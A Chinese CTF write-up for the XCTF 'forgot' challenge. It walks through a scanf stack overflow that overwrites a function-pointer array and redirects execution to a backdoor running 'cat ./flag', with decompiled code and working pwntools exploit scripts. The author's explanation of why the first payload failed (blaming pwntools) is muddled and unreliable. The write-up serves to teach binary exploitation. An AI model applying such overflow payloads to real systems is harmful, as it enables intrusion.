1:checksec
hunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec forgot
[*] '/home/hunter/PWN/XCTF/xctf_challenge/forgot'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
只开了NX
2:IDA
main函数关键代码
size_t v0; // ebx
char v2[32]; // [esp+10h] [ebp-74h]
int (*fun1)(); // [esp+30h] [ebp-54h] #显然这是一串指针数组,指向函数
int (*fun2)(); // [esp+34h] [ebp-50h]
int (*fun3)(); // [esp+38h] [ebp-4Ch]
int (*v6)(); // [esp+3Ch] [ebp-48h]
int (*v7)(); // [esp+40h] [ebp-44h]
int (*v8)(); // [esp+44h] [ebp-40h]
int (*v9)(); // [esp+48h] [ebp-3Ch]
int (*v10)(); // [esp+4Ch] [ebp-38h]
int (*v11)(); // [esp+50h] [ebp-34h]
int (*v12)(); // [esp+54h] [ebp-30h]
char s; // [esp+58h] [ebp-2Ch]
int v14; // [esp+78h] [ebp-Ch]
size_t i; // [esp+7Ch] [ebp-8h]
v14 = 1;
fun1 = sub_8048604; #将函数地址赋值给指针
fun2 = sub_8048618;
fun3 = sub_804862C;
v6 = sub_8048640;
v7 = sub_8048654;
v8 = sub_8048668;
v9 = sub_804867C;
v10 = sub_8048690;
v11 = sub_80486A4;
v12 = sub_80486B8;
puts("Enter the string to be validate");
printf("> ");
fflush(stdout);
__isoc99_scanf("%s", v2); #溢出点函数,没有限制输入的大小
for ( i = 0; ; ++i )
{
v0 = i;
if ( v0 >= strlen(v2) )
break;
switch ( v14 )
{
case 1:
if ( sub_8048702(v2[i]) ) #里面的函数是来对单个字符进行判别的,比较复杂,但是能搞懂逻辑顺序。
v14 = 2;
break;
case 2:
if ( v2[i] == '@' )
v14 = 3;
break;
case 3:
if ( sub_804874C(v2[i]) ) #里面的函数是来对单个字符进行判别
v14 = 4;
break;
case 4:
if ( v2[i] == '.' )
v14 = 5;
break;
case 5:
if ( sub_8048784(v2[i]) ) #里面的函数是来对单个字符进行判别
v14 = 6;
break;
case 6:
if ( sub_8048784(v2[i]) )
v14 = 7;
break;
case 7:
if ( sub_8048784(v2[i]) )
v14 = 8;
break;
case 8:
if ( sub_8048784(v2[i]) )
v14 = 9;
break;
case 9:
v14 = 10;
break;
default:
continue;
}
}
(*(&fun1 + --v14))(); #跳转到指针数组指向特定函数
main函数之外: 后门,这个函数名和前面的混在一起我一开始都没找到
int sub_80486CC()
{
char s; // [esp+1Eh] [ebp-3Ah]
snprintf(&s, 0x32u, "cat %s", "./flag");
return system(&s);
}
snprintf函数收录
3:分析
首先由于存在栈溢出,且数组v2下面的都是函数指针那我们就可以控制fun1fun3,以及v6v12的函数指针,还有v14。
有后门,那么我们只要想到如何控制程序流程跳转到后门即可。
在for循环语句中,会根据数组v2中的字符来改变v14的大小,跳出循环后到这个语句:(*(&fun1 + –v14))() 显然是执行指针所指向的函数。整个过程&fun1不变,变的只有v14那么我们可以设计payload使得v14的变化在我们可以预测。那么就要好好分析switch case中的语句。
我们进入第一个判断函数sub_8048702:
_BOOL4 __cdecl sub_8048702(char a1)
{
return a1 > '`' && a1 <= 'z' || a1 > '/' && a1 <= '9' || a1 == '_' || a1 == '-' || a1 == '+' || a1 == '.';// A~Z :65~90 \xcc\x86\x04\x08
}
说实话第一眼看到这个鬼东西我是真的不想去分析它的逻辑,但是没办法,做生意又不会做。
&& 的优先级比 ||高 俩个都是从左到右。第一个&&最先计算,第一个||是最后运算,第二个&&第二运算 其他|| 从左到右。
因为第二个||是最后运算的,所以第一个&&运算结果是1那整体就是1. 为了不使v14有过多改变我们想办法构造的输入使这个整体为0.
发现没有对大写字母的判断所以padding可以用A。
仔细观察下面的判断,结合第一个判断我们知道只要payload里面没有@,v14就不可能大于3.所以程序流程只能最后执行&fun1上面的函数,或是&fun1+1上面的函数,这里需要对&fun1+1和fun+1说明一下
例子:
#include<stdio.h>
int main()
{
int (*fp[10])();
fp[0] = main;
fp[1] = main;
printf("%p\n",fp[0]);
printf("%p\n",fp[0]+1);
printf("%d\n",sizeof(fp[0]));
printf("%p\n",&fp[0]);
printf("%p\n",&fp[0]+1);
printf("%p\n",&fp[1]);
return 0;
}
运行结果
0000000000401530
0000000000401531
8
000000000062FDD0
000000000062FDD8
000000000062FDD8
fp是一个指针放入了main函数的地址。我们直接输出fp时输出了它的值,也就是main函数地址,对其+1再输出可以看到其输出也仅仅是+1(数值+1)
不过我输出fp的地址&fp,再输出其地址+1的结果,可以看到变动了0x8,也恰好等于下一个指针的地址。并不是简单+1。所以对于地址(&取地址,操作目标是地址)那就是正真的地址+1到下一个地址。
回到&fun+1 那么这将指向下一个函数,即fun2 = sub_8048618。
所以我们要么覆盖fun1,要么覆盖fun2.用后门地址
payload = ‘A’*0x24 + p32(0x080486CC)
这里我打算覆盖到fun2,因为p32(0x080486CC)(这个东西经过判断函数后是会让v14变成2的,反正我当时是这么想的)
>>> p32(0x080486CC)
'\xcc\x86\x04\x08'
>>>
自己写一个一模一样的判断函数然后输入这一串字符你就会发现会使if成立。然后v14==2 并且一直等于2
那么(*(&fun1 + –v14))() 就会指向fun2.
4:EXP
from pwn import*
context.log_level = 'debug'
#sh = remote('220.249.52.133',40479)
sh = process('./forgot')
sh.recv()
sh.sendline('yh')
sh.recv()
#0x080486cc door
payload = 'A'*36 + p32(0x080486cc)
print payload
#gdb.attach(sh)
sh.sendline(payload)
sh.interactive()
但是很可惜,我的分析又是错的(日了狗了,很操蛋)
5:探究
我觉的思路绝对没问题,折腾了好久发现问题出在pwntools上。
看看我的一个程序:
#include<stdio.h>
int main()
{
char a1[100]={'\x00'};
printf("%p\n",a1);
printf("%p\n",a1+1);
scanf("%s",a1);
for(int i=0;i<sizeof(a1);i++){
if(a1[i] > 96 && a1[i] <= 122 || a1[i] > '/' && a1[i] <= '9' || a1[i] == '_' || a1[i] == '-' || a1[i] == '+' || a1[i] == '.'){
printf("work!!!");
}
else{
printf("fail!!!");
}
}
return 0;
}
没错我会输入p32(0x080486CC)具体内容,然后看看到底会判断结果是什么
In [4]: payload
Out[4]: '\xcc\x86\x04\x08'
首先我直接输入\xcc\x86\x04\x08:
发现确实如我上面所说,会判断为正确(work)
但是我用脚本执行并输入:
并没有通过判断!!!!
看来 用pyhton-pwntools 输入与人工输入是有区别的。再来看一个:
这是我第一次想到的脚本,你会发现36个A后面的东西很奇怪,尤其是第一个\还带~的,这些问题有待考究。
因为p32(0x080486cc)用pwntools输入并不会通过判断所以最终的EXP是:
from pwn import*
context.log_level = 'debug'
#sh = remote('220.249.52.133',40479)
sh = process('./forgot')
sh.recv()
sh.sendline('yh')
sh.recv()
#0x080486cc door
payload = 'A'*32 + p32(0x080486cc)
print payload
#gdb.attach(sh)
sh.sendline(payload)
sh.interactive()
结果:
[DEBUG] Received 0x29 bytes:
00000000 63 61 74 3a 20 2e 2f 66 6c 61 67 3a 20 e6 b2 a1 │cat:│ ./f│lag:│ ···│
00000010 e6 9c 89 e9 82 a3 e4 b8 aa e6 96 87 e4 bb b6 e6 │····│····│····│····│
00000020 88 96 e7 9b ae e5 bd 95 0a │····│····│·│
00000029
cat: ./flag: 没有那个文件或目录
[*] Process './forgot' stopped with exit code 0 (pid 47704)
[*] Got EOF while reading in interactive
$
一句话:虽然很操蛋,但是通过自己死磕搞懂了还是挺爽的。